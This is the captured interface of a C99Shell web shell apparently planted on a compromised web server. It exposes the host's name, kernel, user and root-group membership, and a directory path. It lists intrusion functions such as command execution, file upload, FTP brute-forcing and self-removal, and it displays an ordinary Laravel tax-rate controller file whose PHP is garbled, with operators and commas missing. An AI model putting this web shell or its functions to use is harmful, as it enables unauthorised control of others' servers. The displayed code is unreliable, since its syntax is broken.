!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Tax/Http/Controllers/Api/   drwxr-xr-x
Free 25.99 GB of 117.98 GB (22.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TaxRateController.php (4.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package TaxRateController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 28-07-2022
 */

namespace Modules\Tax\Http\Controllers\Api;

use 
Illuminate\Http\Request;
use 
App\Http\Controllers\Controller;
use 
Modules\Tax\Entities\TaxRate;
use 
Modules\Tax\Http\Requests\TaxRateStoreRequest;
use 
Modules\Tax\Http\Requests\TaxRateUpdateRequest;
use 
Modules\Tax\Http\Resources\TaxRateDetailResource;
use 
Modules\Tax\Http\Resources\TaxRateResource;

class 
TaxRateController extends Controller
{
    
/**
     * TaxClass List
     * @param Request $request
     * @return json $data
     */
    
public function index(Request $request)
    {
        
$configs $this->initialize([], $request->all());
        
$taxRate TaxRate::select('*')->with('taxClass');

        
$shipping = isset($request->shipping) ? trim(xss_clean($request->shipping)) : null;
        if (!empty(
$shipping)) {
            
$taxRate->where('shipping'strtolower($shipping));
        }

        
$compound = isset($request->compound) ? trim(xss_clean($request->compound)) : null;
        if (!empty(
$compound)) {
            
$taxRate->where('compound'strtolower($compound));
        }

        
$keyword = isset($request->keyword) ? trim(xss_clean($request->keyword)) : null;
        if (!empty(
$keyword)) {
            if (
preg_match('/^[1-9]+[0-9]*$/'$keyword)) {
                
$taxRate->where(function ($query) use ($keyword) {
                    
$query->where('id'$keyword);
                });
            } else if (
strlen($keyword) >= 2) {
                
$taxRate->where(function ($query) use ($keyword) {
                    
$query->where('name''LIKE''%' $keyword '%')
                        ->
orwhere('country''LIKE''%' $keyword '%')
                        ->
orwhere('state''LIKE''%' $keyword '%')
                        ->
orwhere('city''LIKE''%' $keyword '%')
                        ->
orwhere('postcode''LIKE''%' $keyword '%');
                });
            }
        }
        return 
$this->response([
            
'data' => TaxRateResource::collection($taxRate->paginate($configs['rows_per_page'])),
            
'pagination' => $this->toArray($taxRate->paginate($configs['rows_per_page'])->appends($request->all()))
        ]);
    }

    
/**
     * Store Shop
     * @param Request $request
     * @return json $data
     */
    
public function store(TaxRateStoreRequest $request)
    {
        
$response = (new TaxRate)->store($request->validated());
        if (
$response['status'] == 'success') {
            return 
$this->successResponse($response);
        }
        return 
$this->errorResponse($response);
    }

    
/**
     * Detail Tax Rate
     * @param Request $request
     * @return json $data
     */
    
public function detail($id)
    {
        
$response $this->checkExistence($id'tax_rates');
        
$data TaxRate::getAll()->where('id'$id)->first();
        if (
$response['status'] === true && !empty($data)) {
            return 
$this->response(['data' => new TaxRateDetailResource($data)]);
        }
        return 
$this->notFoundResponse([], __('Tax rate not found.'));
    }

    
/**
     * Update Tax rate Information
     * @param Request $request
     * @param $id
     */
    
public function update(TaxRateUpdateRequest $request$id)
    {
        
$response $this->checkExistence($id'tax_rates');
        if (
$response['status'] === true) {
            if ((new 
TaxRate)->updateTaxRate($request->all(), $id)) {
                return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Tax Rate')]));
            } else {
                return 
$this->okResponse([], __('No changes found.'));
            }
        }
        return 
$this->notFoundResponse([], $response['message']);
    }

    
/**
     * Remove the specified Shop from db.
     * @param int $id
     * @return json $data
     */
    
public function destroy($id)
    {
        
$response = (new TaxRate)->remove($id);
        if (
$response['status'] == 'success') {
            return 
$this->successResponse($response);
        }
        return 
$this->notFoundResponse([], $response['message']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--